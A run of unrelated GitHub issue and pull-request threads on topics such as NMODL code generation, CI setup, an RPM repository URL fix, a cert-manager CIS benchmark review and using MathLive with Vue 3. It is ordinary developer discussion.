+                        inst->watch4[7*pnodecount+id] = 3;
+                    } else {
+                        inst->watch4[7*pnodecount+id] = 2;
                     }
                 }
             }

And, for example, the first block above generated by MOD2C (and re-formatted) is:
if (_watch_array(1)&2) {
  if  ( v > - 55.0 ) {
    if ((_watch_array(1)&1) == 0) {
      #if NET_RECEIVE_BUFFERING
      _net_send_buffering(_ml->_net_send_buffer, 0, _tqitem, 0, _ppvar[1*_STRIDE], t +  0.0 , 2.0 );
      #else
      net_send ( _tqitem, -1, (Point_process*) _nt->_vdata[_ppvar[1*_STRIDE]], t +  0.0 , 2.0 ) ;
      #endif
    }
    _watch_array(1) = 3;
  }else{
    _watch_array(1) = 2;
  }
}

And, for completeness, the vanilla code from NMODL is:
if (inst->watch1[4*pnodecount+id]&2) {
  if (v >  -55.0) {
    if ((inst->watch1[4*pnodecount+id]&1) == 0) {
      net_send_buffering(ml->_net_send_buffer, 0, inst->tqitem[2*pnodecount+id], 0, inst->point_process[1*pnodecount+id], nt->_t+0.0, 2.0);
      inst->watch1[4*pnodecount+id] = 3;
    } else {
      inst->watch1[4*pnodecount+id] = 2;
    }
  }
}

May want to defer this for a while. I'm working on a nrn<->coreneuron problem with WATCH statements using a more stringent test. (multiple WATCH statements activated in a single NET_RECEIVE instance.) It may very well be the case that the mod2c implemention will change as a result of fixing the bug(s) revealed with this test.

The PR BlueBrain/mod2c#63 adds logic for WATCH statements so that only one can be triggered at a time when several are simultaneously activated.

Just realised there are todo's mentioned and those are not fixed yet:  https://github.com/BlueBrain/nmodl/blob/82415f4148baa52318d28bc0fccd24b20256dcc4/src/codegen/codegen_c_visitor.cpp#L3673
Working on it now.


Add CircleCI 2.0 configuration

First step of #349
Certainly I think that CircleCI will finish building much faster than Travis.
https://circleci.com/gh/serima/portal/11 (cached)
If it's okay, could you set up CircleCI and set ENV(ENVOYER_DEPLOYMENT_HOOK)?
After that I will try writing deployment processes.

Just realized I still needed to enable the deployment step :')
I've just pushed another commit which adds the deploy step with a workflow.

Cool thanks!


make rpms fails fetching passt

What happened:
make rpm-deps fails fetching passt
[snip]
+ bazel run --config=x86_64 //:bazeldnf -- fetch --repofile rpm/repo.yaml
INFO: Analyzed target //:bazeldnf (132 packages loaded, 8499 targets configured).
INFO: Found 1 target...
Target //:bazeldnf up-to-date:
  bazel-bin/bazeldnf.bash
INFO: Elapsed time: 2.049s, Critical Path: 0.41s
INFO: 1 process: 1 internal.
INFO: Build completed successfully, 1 total action
INFO: Build completed successfully, 1 total action
INFO[0000] Resolving repomd.xml from http://mirror.centos.org/centos/8-stream/BaseOS/x86_64/os/repodata/repomd.xml
INFO[0005] Loading primary file from http://mirror.centos.org/centos/8-stream/BaseOS/x86_64/os/repodata/a0caaedba19094fa721f7125fbad275f78255540fb7a5be61486ebe6b0e4c3d4-primary.xml.gz
INFO[0006] Resolving repomd.xml from http://mirror.centos.org/centos/8-stream/AppStream/x86_64/os/repodata/repomd.xml
INFO[0006] Loading primary file from http://mirror.centos.org/centos/8-stream/AppStream/x86_64/os/repodata/90df1f2cbdf98103ef02814f41e49196a7dbd7668ef4b5a05ca8e2c946470aa9-primary.xml.gz
INFO[0006] Resolving repomd.xml from http://mirror.centos.org/centos/8-stream/PowerTools/x86_64/os/repodata/repomd.xml
INFO[0006] Loading primary file from http://mirror.centos.org/centos/8-stream/PowerTools/x86_64/os/repodata/49dfe9890ae1f0877995772960a3de3e4c914159eb4d6e5aeea1c3ab3b1746fe-primary.xml.gz
INFO[0006] Resolving repomd.xml from https://download.copr.fedorainfracloud.org/results/sbrivio/passt/centos-stream-8-x86_64/04600401-passt/repodata/repomd.xml
WARN[0012] Failed to download https://download.copr.fedorainfracloud.org/results/sbrivio/passt/centos-stream-8-x86_64/04600401-passt/repodata/repomd.xml: status : 404
Error: failed to fetch repomd.xml for centos/stream8-passt-x86_64: All mirrors tried, could not download repomd.xml
Usage:
  bazeldnf fetch [flags]

Flags:
  -h, --help                   help for fetch
  -r, --repofile stringArray   repository information file. Can be specified multiple times (default [repo.yaml])

failed to fetch repomd.xml for centos/stream8-passt-x86_64: All mirrors tried, could not download repomd.xml

What you expected to happen:
Be able to update correctly the rpms
How to reproduce it (as minimally and precisely as possible):
Just try to update the dependencies with make rpm-deps

@AlonaKaplan is the passt rpm manually added?

ok, I think we simply need to fix the URL for the repo:
git diff rpm/repo.yaml
diff --git a/rpm/repo.yaml b/rpm/repo.yaml
index ac86a7c32..d228b2445 100644
--- a/rpm/repo.yaml
+++ b/rpm/repo.yaml
@@ -12,7 +12,7 @@ repositories:
   name: centos/stream8-powertools-x86_64
   gpgkey: https://www.centos.org/keys/RPM-GPG-KEY-CentOS-Official
 - arch: x86_64
-  baseurl: https://download.copr.fedorainfracloud.org/results/sbrivio/passt/centos-stream-8-x86_64/04600401-passt/
+  baseurl: https://download.copr.fedorainfracloud.org/results/sbrivio/passt/centos-stream-8-x86_64
   name: centos/stream8-passt-x86_64
   gpgkey: https://download.copr.fedorainfracloud.org/results/sbrivio/passt/pubkey.gpg
 - arch: aarch64
@@ -28,6 +28,6 @@ repositories:
   name: centos/stream8-powertools-aarch64
   gpgkey: https://www.centos.org/keys/RPM-GPG-KEY-CentOS-Official
 - arch: aarch64
-  baseurl: https://download.copr.fedorainfracloud.org/results/sbrivio/passt/centos-stream-8-aarch64/04600401-passt/
+  baseurl: https://download.copr.fedorainfracloud.org/results/sbrivio/passt/centos-stream-8-aarch64
   name: centos/stream8-passt-aarch64
   gpgkey: https://download.copr.fedorainfracloud.org/results/sbrivio/passt/pubkey.gpg

ok, I think it isn't been added correctly to the rpm/repo.yaml and passt to be added to the launcherbase


Glows are being applied a palette to, even though that shouldn't happen

The problem
The problem I'm facing is that I added the ability for people to throw in any randomly 16 million color image, to have all those pixels be rounded to the nearest colors in the CCCP palette and to have the new image saved with the CCCP palette.
It also allows people to reorder the colors in the CCCP palette like I know Gotcha does when he's spriting, and to have the converter apply the real CCCP palette on it while retaining the look.
This means that I currently can't assume sprites are correctly indexed/not indexed.
Planned logic for supporting all of these cases

Loop through all INI files and put all the paths of glow images into a Python list (array).

For every image, check if it's a BMP or PNG. If this is the case, detect whether it is paletted. The converter should only get BMP/PNG images, else it'll just make an exact copy of the file in the case it's just there for non-sprite reasons, like a JPEG which will be used on the Steam Workshop or mod.io.

When the input image is a BMP, the header data should be read to detect whether it's RLE encoded or not. If the BMP is RLE encoded, read the header data to get the RGB palette. If it isn't RLE encoded it should be possible to copy over the palette using a PIL function.

If the image is paletted and a PNG, make the converted image also paletted by applying the input palette on the output image.

If it isn't paletted and it isn't a glow image, apply the CCCP palette onto it.

If it is a glow image, don't apply any palette on it.

BMP compression header info
https://en.wikipedia.org/wiki/BMP_file_format#Compression

Manual RLE BMP -> uncompressed BMP code will be written to handle this.


Docs are behind README for aws-lambda-step-function. (also check other constructs that have added an environment variable prop.

Reviewed all aws-lambda-* patterns and found no discrepancies between the README files and the published docs regarding the environment variable name props for each. Is it possible these are getting missed because the tables in the docs are scrollable?


replacing declaration of gprt programs to a more opaque handle

Solves issue #10
This PR changes the embed_spirv make macro we're using now for a more general embed_devicecode macro, which will make more sense with the planned embree backend.
We also have a more flexible "GPRTProgram" handle for program device-code embedding.

down the road, this will need to take into consideration what backends are available, and compile for any/all available backends.


Security compliance check for cert-manager as per CIS Benchmark

Describe the bug: Security non-compliance for cert-manager as per CIS Benchmark

Expected behavior:

Minimize access to create pods
Minimize access to secret
Ensure that Service Account Tokens are only mounted where necessary
Ensure that the seccomp profile is set to docker/default in your pod definitions

Steps to reproduce the bug: We can find it from RedHat Openshift security document.

Review the users who have create access to pod objects in the Kubernetes API
Review the users who have get, list or watch access to secrets objects in the Kubernetes API.
for i in $(oc get clusterroles -o jsonpath='{.items[*].metadata.name}'); do oc describe clusterrole ${i}; done
3.Kubernetes provides a default service account which is used by cluster workloads where no specific service account is assigned to the pod.Where access to the Kubernetes API from a pod is required, a specific service account should be created for that pod, and rights granted to that service account.The default service account should be configured such that it does not provide a service account token and does not have any explicit rights assignments

oc describe sa default -n default
automountServiceAccountToken: false
4. To enable the default seccomp profile, use the reserved value /runtime/default that will make sure that the pod uses the default policy available on the host.

Anything else we need to know?:
As per CIS benchmark for “CIS Kubernetes benchmark v1.6” , we have following rules to be verified or justified for cert-manager. With respect to cert-manager we are seeing below rules is not compliant with the CIS Benchmark rules. Can you please check if these are security issues which need to be addressed or can we get the justifications why these access are required for cert-manager.
Environment details:: RedHat Openshift 4.10 OCP

Kubernetes version: 4.10
Cloud-provider/Provisioner: RedHat Openshift
cert-manager version: cert-manager-v1.5.4
Install method: e.g. helm/static manifests - Helm

/kind bug

Rule ID
Rule Name
Rationale
Remediation
Impact
Non-compliant resources in cert-manager

5.1.4
Minimize access to create pods
The ability to create pods in a cluster opens up   possibilities for privilege escalation and should be restricted, where   possible.
Where possible, remove create access to pod objects in the   cluster
Care should be taken not to remove access to pods to   system components which require this for their operation.
Cluster Role “cert-manager-controller-challenges” having   create pod access

5.1.2
Minimize access to secret
Inappropriate access to secrets stored within the   Kubernetes cluster can allow for an attacker to gain additional access to the   Kubernetes cluster or external resources whose credentials are stored as   secrets.
Where possible, remove get, list and watch access to   secret objects in the cluster
Care should be taken not to remove access to secrets to   system components which require this for their operation
Cluster Roles cert-manager-cainjector,   cert-manager-controller-issuers, cert-manager-controller-clusterissuers,   cert-manager-controller-certificates, cert-manager-controller-orders,   cert-manager-controller-challenges are having get, list, watch access to   secrets

5.1.6
Ensure that Service Account Tokens are only mounted where   necessary
Mounting service account tokens inside pods can provide an   avenue for privilege escalation attacks where an attacker is able to   compromise a single pod in the cluster. Avoiding mounting these tokens   removes this attack avenue.
Modify the definition of pods and service accounts which   do not need to mount service account tokens to disable it.
Pods mounted without service account tokens will not be   able to communicate with the API server, except where the resource is   available to unauthenticated principals
cert-manager pods(cert-manager-, cert-manager-cainjector-,   cert-manager-webhook-) are not having   "automountServiceAccountToken" set to false.

5.6.2
Ensure that the seccomp profile is set to docker/default   in your pod definitions
Seccomp (secure computing mode) is used to restrict the   set of system calls applications can make, allowing cluster administrators   greater control over the security of workloads running in the cluster.   Kubernetes disables seccomp profiles by default for historical reasons. You   should enable it to ensure that the workloads have restricted actions   available within the container.
To enable the default seccomp profile, use the reserved   value /runtime/default that will make sure that the pod uses the default policy   available on the host.
If the default seccomp profile is too restrictive for you,   you will need to create and manage your own seccomp profiles.
cert-manager pods are not having seccomp profile defined.

Thank you for sharing the results of this benchmark.
Feel free to create PRs and/ or issues if you find a way to improve the results of this benchmark.

/reopen

Is this recommendation wrt automountServiceAccountToken still valid:
https://cert-manager.io/docs/installation/best-practice/

Some of these have been addressed:

https://github.com/cert-manager/cert-manager/pull/4036
https://github.com/cert-manager/cert-manager/pull/5259

Is this recommendation wrt automountServiceAccountToken still valid:
https://cert-manager.io/docs/installation/best-practice/

I think the recommendation in https://cert-manager.io/docs/installation/best-practice/, about setting automountServiceAccountToken: false, is still valid.
And that recommendation allows cert-manager to satisfy "3. Ensure that Service Account Tokens are only mounted where necessary" among the points in this PR description.
The cert-manager maintainers are reluctant to change the default, because it risks breaking the deployments of established cert-manager users when they upgrade.

FYI readOnlyRootFilesystem will be turned on by default for all cert-manager Pods in the next release 1.14:

https://github.com/cert-manager/cert-manager/pull/6453
https://github.com/cert-manager/cert-manager/pull/6462

/reopen


MobileWeather Build

Follow the directions found here: https://github.com/JonDouglas/AndroidPerformanceAndAppSizeChallenge#build-times

Build Performance (No bin/obj)

Before Cold Build Times Changes:

Time Elapsed 00:00:30.95

After Cold Build Times Changes:

Time Elapsed 00:00:32.35

Build Performance (Incremental change)

Before Incremental Build Times Changes:

Time Elapsed 00:00:02.89

After Incremental Build Times Changes:

Time Elapsed 00:00:02.98

Bonus
After incremental.txt
After.txt
Before incremental.txt
Before.txt

Include a Diagnostic MSBuild Log File or MSBuild BinLog File

Any comments / feedback for how we can improve this experience?
Here I got unexpected results. Expected was less execution time after changes, but I got slightly worse result.
Version Information (Help -> About Visual Studio -> Copy Information)
Microsoft Visual Studio Community 2019
Version 16.2.3
VisualStudio.16.Release/16.2.3+29215.179
Microsoft .NET Framework
Version 4.8.03752
Installed Version: Community
Visual C++ 2019   00435-60000-00000-AA762
Microsoft Visual C++ 2019
ADL Tools Service Provider   1.0
This package contains services used by Data Lake tools
Application Insights Tools for Visual Studio Package   9.1.00611.1
Application Insights Tools for Visual Studio
ASP.NET and Web Tools 2019   16.2.290.48383
ASP.NET and Web Tools 2019
ASP.NET Web Frameworks and Tools 2019   16.2.290.48383
For additional information, visit https://www.asp.net/
Azure App Service Tools v3.0.0   16.2.290.48383
Azure App Service Tools v3.0.0
Azure Data Lake Node   1.0
This package contains the Data Lake integration nodes for Server Explorer.
Azure Data Lake Tools for Visual Studio   2.3.9000.0
Microsoft Azure Data Lake Tools for Visual Studio
Azure Functions and Web Jobs Tools   16.2.290.48383
Azure Functions and Web Jobs Tools
Azure Stream Analytics Tools for Visual Studio   2.3.9000.0
Microsoft Azure Stream Analytics Tools for Visual Studio
C# Tools   3.2.1-beta4-19408-03+2fc6a04980f800c59e8ede97e6ae294ff47d666e
C# components used in the IDE. Depending on your project type and settings, a different version of the compiler may be used.
Common Azure Tools   1.10
Provides common services for use by Azure Mobile Services and Microsoft Azure Tools.
ConfigurationTransform   1.3
Automatically transform app.config during build process. Once the transformation is set, it will run on other build machines without the extension.
Extensibility Message Bus   1.2.0 (d16-2@8b56e20)
Provides common messaging-based MEF services for loosely coupled Visual Studio extension components communication and integration.
Fabric.DiagnosticEvents   1.0
Fabric Diagnostic Events
GitHub.VisualStudio   <IP_ADDRESS>81
A Visual Studio Extension that brings the GitHub Flow into Visual Studio.
IntelliCode Extension   1.0
IntelliCode Visual Studio Extension Detailed Info
Microsoft Azure HDInsight Azure Node   2.3.9000.0
HDInsight Node under Azure Node
Microsoft Azure Hive Query Language Service   2.3.9000.0
Language service for Hive query
Microsoft Azure Service Fabric Tools for Visual Studio   2.5
Microsoft Azure Service Fabric Tools for Visual Studio
Microsoft Azure Stream Analytics Language Service   2.3.9000.0
Language service for Azure Stream Analytics
Microsoft Azure Stream Analytics Node   1.0
Azure Stream Analytics Node under Azure Node
Microsoft Azure Tools   2.9
Microsoft Azure Tools for Microsoft Visual Studio 0x10 - v2.9.20626.2
Microsoft Continuous Delivery Tools for Visual Studio   0.4
Simplifying the configuration of Azure DevOps pipelines from within the Visual Studio IDE.
Microsoft JVM Debugger   1.0
Provides support for connecting the Visual Studio debugger to JDWP compatible Java Virtual Machines
Microsoft Library Manager   1.0
Install client-side libraries easily to any web project
Microsoft MI-Based Debugger   1.0
Provides support for connecting Visual Studio to MI compatible debuggers
Microsoft Visual C++ Wizards   1.0
Microsoft Visual C++ Wizards
Microsoft Visual Studio Tools for Containers   1.1
Develop, run, validate your ASP.NET Core applications in the target environment. F5 your application directly into a container with debugging, or CTRL + F5 to edit & refresh your app without having to rebuild the container.
Microsoft Visual Studio VC Package   1.0
Microsoft Visual Studio VC Package
Mono Debugging for Visual Studio   16.2.6 (4cfc7c3)
Support for debugging Mono processes with Visual Studio.
NuGet Package Manager   5.2.0
NuGet Package Manager in Visual Studio. For more information about NuGet, visit https://docs.nuget.org/
ProjectServicesPackage Extension   1.0
ProjectServicesPackage Visual Studio Extension Detailed Info
ResourcePackage Extension   1.0
ResourcePackage Visual Studio Extension Detailed Info
ResourcePackage Extension   1.0
ResourcePackage Visual Studio Extension Detailed Info
SQL Server Data Tools   16.0.61906.28070
Microsoft SQL Server Data Tools
ToolWindowHostedEditor   1.0
Hosting json editor into a tool window
TypeScript Tools   16.0.10627.2001
TypeScript Tools for Microsoft Visual Studio
Visual Basic Tools   3.2.1-beta4-19408-03+2fc6a04980f800c59e8ede97e6ae294ff47d666e
Visual Basic components used in the IDE. Depending on your project type and settings, a different version of the compiler may be used.
Visual F# Tools 10.4 for F# 4.6   16.2.0-beta.19321.1+a24d94ecf97d0d69d4fbe6b8b10cd1f97737fff4
Microsoft Visual F# Tools 10.4 for F# 4.6
Visual Studio Code Debug Adapter Host Package   1.0
Interop layer for hosting Visual Studio Code debug adapters in Visual Studio
Visual Studio Tools for Containers   1.0
Visual Studio Tools for Containers
Visual Studio Tools for Kubernetes   1.0
Visual Studio Tools for Kubernetes
VisualStudio.Mac   1.0
Mac Extension for Visual Studio
Xamarin   <IP_ADDRESS> (d16-2@37df81894)
Visual Studio extension to enable development for Xamarin.iOS and Xamarin.Android.
Xamarin Designer   <IP_ADDRESS>5 (remotes/origin/d16-2@357d38ef4)
Visual Studio extension to enable Xamarin Designer tools in Visual Studio.
Xamarin Templates   16.3.117 (59a59e8)
Templates for building iOS, Android, and Windows apps with Xamarin and Xamarin.Forms.
Xamarin.Android SDK   <IP_ADDRESS> (d16-2/ebd65c9)
Xamarin.Android Reference Assemblies and MSBuild support.
Mono: mono/mono/2019-02@e6f5369c2d2
Java.Interop: xamarin/java.interop/d16-2@d64ada5
LibZipSharp: grendello/LibZipSharp/d16-2@caa0c74
LibZip: nih-at/libzip/rel-1-5-1@b95cf3f
ProGuard: xamarin/proguard/master@905836d
SQLite: xamarin/sqlite/3.27.1@8212a2d
Xamarin.Android Tools: xamarin/xamarin-android-tools/d16-2@6f6c969
Xamarin.iOS and Xamarin.Mac SDK   <IP_ADDRESS> (c669116)
Xamarin.iOS and Xamarin.Mac Reference Assemblies and MSBuild support.

@lmikovic Thank you so much for your submission! To claim your swag, please fill out this quick survey!
http://aka.ms/androidappchallenge


The "insufficient balance" error is confused

Sometimes the error is Engine faulted or transaction fails, but the print error is insufficient balance, like this:
neo> invoke 0x7da9312b40153819e6451a89e310faa7659fa34f test
Invoking script with: '10c00c0c6974657261746f72546573740c144fa39f65a7fa10e3891a45e6193815402b31a97d41627d5b52'
VM State: FAULT
Gas Consumed: 0.0101051
Result Stack: []
Engine faulted.
Error: insufficient balance.

Waiting for https://github.com/neo-project/neo-vm/issues/331


Vue 3 ready?

The sample code seems to be for Vue 2. Can I possibly use it in Vue 3? Thanks for suggestions.

Wish owner answer this

Unfortunately I'm not familiar with Vue 3 and I don't have the time to learn it right now, but if someone would submit a PR, I'd be happy to merge it.
That said, note that in the current version of MathLive, a mathfield is just a <math-field> custom element, so I'm not sure that a wrapper is even necessary, or at least no more necessary than what you would do for another standard DOM element.

Honestly, this was not well documented. I am having a hard time setting this up.

@tobychidi Did you manage to implement Mathlive in Vue 3? I'm currently having the same problem, and I'm not quite sure how to get it to work...

@ViridityCorn Oh My! I did. I actually integrated it into an editor and it works so well.
Here are the steps:

Install Mathlive

Vite Config ->Compiler options -> isCustomElement: (tag) => tag.includes('math-field')

  import { MathfieldElement } from "mathlive";
  import "mathlive/dist/mathlive-fonts.css";
  import "mathlive/dist/mathlive";

 <math-field class="mathField" keypress-sound="null" plonk-sound="null" ref="mathField"
 @input="handleInput"></math-field>

The sound attributes were muted due to faulty imports and I was not using the keyboard anyways... We can also easily build a better one.

const mathField = ref<MathfieldElement>(); Now you can access mathField  programmatically

Enjoy! I think I detailed everything.

Thanks @tobychidi for the detailed information.

So many thanks @tobychidi !
I've tried to get this to work for quite some time now without luck, but your solution just works!
Many many thanks!
I haven't quite figured out where to define mathField to access it programmatically though 😅
It also looks like quite an interesting project, you've been working on!
I too am trying to implement it in an editor actually!

@ViridityCorn accessing mathField in your script... You can simply use refs. The usual ref special attribute. It's value would be the name as your ref variable based on script setup syntax.

@tobychidi Thanks, of course!
I was just fumbling around with the ref, so it just returned undefined. I figured it out though!

@tobychidi-zz Hi Toby, when I import "mathlive/dist/mathlive-fonts.css"; and "mathlive/dist/mathlive"; like you mentioned with Vite, it keep saying that Internal server error: Missing "./dist/mathlive-fonts.css" specifier in "mathlive" package. Did you face this?

@hwynand you do not need to import this CSS file, you can just skip that.

Hi @arnog , thanks for your great works. Unfortunately the import error happened with math/dist/mathlive too, I'm using nuxt 3 and tried with Vue 3. I'll try to find some workarounds.

Hi @huongphamx, were you able to solve the error? I just ran into the same thing.

@tobychidi-zz do you mind sharing your code snippet? I am getting the same issue as @huongphamx

@arnog , firstly, thanks for the awesome work with this wonderful library!
Looking at Stack Overflow and GitHub, it seems that quite a lot of people are having hard time setting this project up with vite and Vue. The reality is, that majority of people want to set it up with an npm package and documentation for this is not clear at the moment.
Would it be possible to get some pointers on how it's intended to be used with npm and Vue?

Unfortunately, I am far from an expert in Vue and Vite. It would be great if someone from the community with more expertise than I have could contribute some instructions. FYI, someone has recently filed an issue that may contain useful information. I would appreciate it if you could have a look at it, and let me know if this is something that you find useful and that I should consider integrating into the documentation: https://github.com/arnog/mathlive/issues/2191

Thanks for the pointer! For some reason, I get an error, but it might be Vue / my project specific. I'll try to solve it or create a minimalistic reproduction.
TypeError: Illegal constructor
    at new _MathfieldElement2 (mathlive.js:38655:5)

I think that if we have a solid guide for getting it to work with npm, then the community can follow up on the Vue/React/Angular/Svelte/... implementations. What people are doing, is using the "plain javascript" version to load the MathLive in their framework-specific lifecycle hook, when the component has been loaded.
I do advise on putting the "plain javascript" setup with npm in Getting Started section so people can get started quickly with npm and their chosen framework. This Stack Overlow issue was created just last month, pointing out the issue.
I created a simple stackblitz. I think if the code in there were to be in Getting Started guide, then it would help out. I'll try to create a PR on the weekend to the main repo.
https://stackblitz.com/edit/js-zd1zvy?file=index.js
The aim would be to end up with something like this: https://www.npmjs.com/package/@recogito/annotorious
If you open it up in the npm registry, then the users have pretty clear instructions on how to get started.

Oh, there is also a section on creating MathFieldElement programmatically but perhaps that needs to be linked from somewhere else?

@arnog Not necessary to create it for other frameworks. The documentation for npm installation is currently just a bit misleading:

$ npm install --save mathlive
After you’ve completed this step, you can use MathLive as any other modules in your project:
import { MathfieldElement } from 'mathlive';
const mfe = new MathfieldElement();

As long as there's a guide on how to get it to work properly with npm, html and javascript, then the rest should be the worry for people using this library.
This framework works quite well, but it's just a habit for people. Most of the libraries require people to initialize it themselves. There's quite a lot of documentation and it's easy to miss the fact that the library initializes itself onto the math-field tag. As seen from this stack overflow post.
I propose the following change to the documentation:

$ npm install --save mathlive
After you’ve completed this step, you can import 'mathlive' and use it in your html code. There is no need to create MathfieldElement, then initialize it and then add it to the DOM. Nor should you need to import css separately.
import 'mathlive';

<math-field>f(x)=</math-field>

You can, of course, use MathLive as any other module in your project if needed:
import { MathfieldElement } from 'mathlive';
const mfe = new MathfieldElement();

Perhaps this project should also convert to a source code for the wrapper instead of being an example that links to a minified wrapper. That way people can understand the wrapper better and it would be easy to contribute here if any updates or functionalities are needed. Probably would need some extra work to get the wrapper up on npm, but worth thinking about.
I also created a working example for Vue 3: https://github.com/arnog/mathlive/issues/2191#issuecomment-1847777115

Thanks for submitting a PR. I've merged it.
Do you mean a wrapper like this: https://github.com/arnog/vue-mathlive ?

Yes, but the only place where I found the actual wrapper implementation was in the index.html
import MathfieldComponent from "https://unpkg.com/mathlive/dist/vue-mathlive.mjs";
Is there a repository for the original non-minified version and how can people contribute to it? The community could help with making PR-s to make it Vue 3 compatible, add improvements, or just copy the wrapper and use it in their project. With the current setup, I don't see a good way.

Yes, the source for the wrapper is here: https://github.com/arnog/mathlive/blob/master/src/vue-mathlive.js

Does that mean, that when the wrapper in the main repository is updated to Vue 3 and developers use https://unpkg.com/mathlive/dist/vue-mathlive.mjs , it will be broken for the old users?
Perhaps the version should be specified in the example? Such as<EMAIL_ADDRESS>.
I'll make a PR for this.
Better yet, perhaps developers could use it from the package they have downloaded via npm? That way they can get the code automatically updated? Probably needs types in https://github.com/arnog/mathlive/tree/master/src/public if they use typescript?
If yes, I can see what I can do to add the Vue 3 version and types.
Disclaimer. Not an expert on bundlers and library development, just a developer who uses Vite to generate projects and usually doesn't take deep dives on how the dependency is added, whether it's tree shaked, etc.


Feat/status banner

Pull Request
Description
Fixes #
closes #122
How Has This Been Tested?
Visually
when api response is :
{message: "New forecasts are offline until sunrise.  We are working on a fix that will deliver forecasts in the pre-sunrise hours.", status: "warning"}
it looks like this

Checklist:

[x] My code follows OCF's coding style guidelines
[x] I have performed a self-review of my own code
[ ] I have made corresponding changes to the documentation
[ ] I have added tests that prove my fix is effective or that my feature works
[x] I have checked my code and corrected any misspellings

Looks good @Alaatohamy  - thanks for this

I hope its ok @Alaatohamy that I merge this in, we want to test something this evening that it works.
I wont delete the branch incase you want to tweak this in some way

perhaps if @dlinah could review the code for this, when you want

When going to https://development-app.nowcasting.io/ the banner loads nicer, but then when going to a different tab, and going back again, the banner seems to disappear. I;m not sure why

It then a few seconds later, does seem to pop back up again

The banner will not appear if the response not comes yet or the status ok, so maybe the case when you go back again the response not ready yet, if you need to change this scenario let me know please.

Yea, If think it would be better if it was there, when you come back. Perhaps it can be saved as a state?
Totally fine that when you first load the page it isnt there.
Just for note: #137

Yea, If think it would be better if it was there, when you come back. Perhaps it can be saved as a state?
Totally fine that when you first load the page it isnt there.
Just for note: #137

sure thanks, I'll fix it in a different PR


Add accessibility testing to JupyterHub testing tools

Add accessibility testing to JupyterHub testing tools

The importance of building a product with accessibility in mind from the design/development phase cannot be overemphasized. There’s this option and then there is the option of building a product, deploying it and then looking for means to make it accessible.
The former saves time and resources that is why I am proposing this solution.
Current behavior
Currently, no accessibility testing tool exists in JupyterHub's testing tools that can be used during the development phase. Accessibility testing tools are being used in the browser to improve how accessible the deployed site is.
Proposed solution
By using Selenium tool/library, accessibility testing tools like axe is integrated into the development testing so developers will be able take note if guidelines for accessibility aren’t being followed and make corrections before the product gets deployed.
Selenium is an open source automation testing tool with support for a couple of scripting languages like Python and JavaScript, etc. One can choose a script depending on the application to be tested. Selenium Python bindings provide a convenient API to access Selenium WebDrivers like Firefox, Ie, Chrome,etc.
Alternative options

I am currently researching on alternative approaches and implementing this solution so I would love to have this issue assigned to me please. Thank you
Who would use this feature?

Implementing this feature will help developers and product owners(companies) save time and resources respectively.

@minrk
I would love to have this issue assigned to me if it is approved please.

Hi @bl-aire did you mean to open this here? This is the BinderHub project repo, JupyterHub lives over here: https://github.com/jupyterhub/jupyterhub

Hi @bl-aire did you mean to open this here? This is the BinderHub project repo, JupyterHub lives over here: https://github.com/jupyterhub/jupyterhub

Ohh sorry about that..I made a mistake. I can create the issue again in the right repository.

No problem, thank you! I will close this one 🙂

No problem, thank you! I will close this one 🙂

Thanks ☺


[TEST] update org map

I can still see the line
- ['^[[:space:]]*((account[[:space:]])?[[:space:]]*international[[:space:]]+business[[:space:]]+machines([[:space:]]+corporation)?([[:space:]]+\\(?ibm\\)?)?|ibm)[[:space:]]*$','International Business Machines Corporation']

being removed.

Hi @lukaszgryglicki I have removed my additional IBM line and left the existing as you requested. Please when you get some time, drop a lgtm if ok and i merge. Thanks

1st run:
{"text":"Updated organization '1 & 1 Internet SE' -> '1&1 Telecommunication SE' on 2 enrollments, Deleted organization '1 & 1 Internet SE' (id=65712), Updated organization '1&1 Mail&Media Development & Technology GmbH' -> '1&1 Telecommunication SE' on 9 enrollments, Updated organization '1&1 Mail&Media Development & Technology GmbH' -> '1&1 Telecommunication SE' on 95 archived enrollments, Deleted organization '1&1 Mail&Media Development & Technology GmbH' (id=40898), Updated organization 'Adfinis SyGroup' -> 'Adfinis AG (f/k/a Adfinis SyGroup)' on 17 enrollments, Updated organization 'Adfinis SyGroup' -> 'Adfinis AG (f/k/a Adfinis SyGroup)' on 36 archived enrollments, Deleted organization 'Adfinis SyGroup' (id=74335), Updated organization 'Alcatel Lucent' -> 'ALE International SAS' on 7 enrollments, Deleted organization 'Alcatel Lucent' (id=55244), Updated organization 'Allegro' -> 'Allegro.pl sp. z o.o.' on 135 enrollments, Updated organization 'Allegro' -> 'Allegro.pl sp. z o.o.' on 735 archived enrollments, Deleted organization 'Allegro' (id=27369), Updated organization 'Amazon Inc' -> 'Amazon.com, Inc.' on 3 enrollments, Updated organization 'Amazon Inc' -> 'Amazon.com, Inc.' on 1 archived enrollments, Deleted organization 'Amazon Inc' (id=72404), Updated organization 'American Express' -> 'American Express Banking Corp.' on 99 enrollments, Updated organization 'American Express' -> 'American Express Banking Corp.' on 454 archived enrollments, Deleted organization 'American Express' (id=32208), Updated organization 'Apple' -> 'Apple Inc.' on 1534 enrollments, Updated organization 'Apple' -> 'Apple Inc.' on 3454 archived enrollments, Deleted organization 'Apple' (id=28097), Updated organization 'Bank Salad' -> 'Banksalad Co., Ltd.' on 12 enrollments, Updated organization 'Bank Salad' -> 'Banksalad Co., Ltd.' on 48 archived enrollments, Deleted organization 'Bank Salad' (id=59035), Added organization 'Blackwood Seven A/S' (id=78065), Updated organization 'Blackwood Seven' -> 'Blackwood Seven A/S' on 27 enrollments, Updated organization 'Blackwood Seven' -> 'Blackwood Seven A/S' on 57 archived enrollments, Deleted organization 'Blackwood Seven' (id=31253), Deleted organization 'CGI Inc.' (id=75340), Updated organization 'Helm.' -> 'Cloud Native Computing Foundation' on 5 enrollments, Updated organization 'Helm.' -> 'Cloud Native Computing Foundation' on 6 archived enrollments, Deleted organization 'Helm.' (id=43501), Updated organization 'Cloudera Inc.' -> 'Cloudera, Inc.' on 307 enrollments, Updated organization 'Cloudera Inc.' -> 'Cloudera, Inc.' on 901 archived enrollments, Deleted organization 'Cloudera Inc.' (id=56745), Updated organization 'Plaxo' -> 'Comcast Corporation' on 26 enrollments, Updated organization 'Plaxo' -> 'Comcast Corporation' on 33 archived enrollments, Deleted organization 'Plaxo' (id=28768), Updated organization 'ChartIQ' -> 'Cosaic, Inc.' on 19 enrollments, Updated organization 'ChartIQ' -> 'Cosaic, Inc.' on 104 archived enrollments, Deleted organization 'ChartIQ' (id=35445), Updated organization 'D2iQ, Inc.' -> 'D2iQ, Inc. (f/k/a Mesosphere)' on 936 enrollments, Updated organization 'D2iQ, Inc.' -> 'D2iQ, Inc. (f/k/a Mesosphere)' on 